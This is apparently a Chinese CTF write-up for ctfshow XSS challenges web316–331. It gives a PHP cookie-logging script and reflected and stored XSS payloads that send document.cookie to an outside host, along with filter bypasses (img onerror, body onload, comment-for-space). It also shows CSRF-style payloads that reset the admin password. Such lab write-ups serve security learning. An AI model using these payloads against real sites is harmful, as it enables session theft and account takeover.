xss
web316(反射型)
自己搭服务器
先在服务器上面放一个接受Cookie的文件
127.php
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>
paylaod:
<script>document.location.href='http://igniting.top/127.php?1='+document.cookie</script>
web317
测试一下过滤了script了
标签可以用 img
paylaod:
<img src="" οnerrοr=location.href="http://igniting.top/127.php?cookie="+document.cookie>
web318
先进行一下测试,看看过滤了什么。
无回显
无回显
<body>alert(1)</body>有回显,可以用<body>头
payload:
<body onload="document.location.href='http://igniting.top/127.php?1='+document.cookie"></body>
web319
同上
web320~326
过滤了空格,
用/**/或%09或/绕过
payload:
<body/**/onload="document.location.href='http://igniting.top/522.php?1='+document.cookie"></body>
web327(储存型)
由上图可知这里的收件人要写admin
web328
首先注册用户,然后登陆之后发现,只有admin才能查看
那么我们可以构造一个xss,让管理员点击,然后得到管理员的cookie,再登陆。
将密码设置为xss的payload
然后注册登陆
payload:
<script>window.location.href='http://igniting.top/522.php?1='+document.cookie;</script>
在服务器目录下拿到cookie
数据和验证不是一起发送过来的,后端验证之后,发送一个响应,但是数据是通过json发送出来的。所以我们应该在响应中找到json文件,用这个文件重新发包
web329
没懂
payload:
<script>$('.laytable-cell-1-0-1').each(function(index, value){if(value.innerHTML.indexOf('ctf'+'show'+'{')>-1){window.location.href='http://igniting.top/522.php?1='+value.innerHTML;}});</script>
web330
多了个修改密码的功能:
这就很明显了,用类似csrf的方法把admin密码改了就行了,注册个号,账号和密码都为:
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
最后用账号admin和密码123登录即可
详细csrf阐释:
https://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
web331
还是改密码,只是这次换成了POST方法,修改一下payload:
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
注册个号,账号和密码都为这个payload,然后用密码123登录admin账户即可
$.ajax()是jQuery库中一个用于发送AJAX请求的函数。它提供了一种简便的方式来与服务器进行数据交换。
下面是$.ajax()函数的基本语法:
$.ajax({
url: '', // 请求的URL
type: '', // 请求的方法,例如 'GET'、'POST' 等
data: {}, // 请求发送的数据,可以是对象、字符串或序列化的表单数据
dataType: '', // 服务器返回的数据类型,例如 'json'、'html'、'text' 等
success: function(response) {
// 请求成功时执行的回调函数
},
error: function(xhr, status, error) {
// 请求失败时执行的回调函数
}
});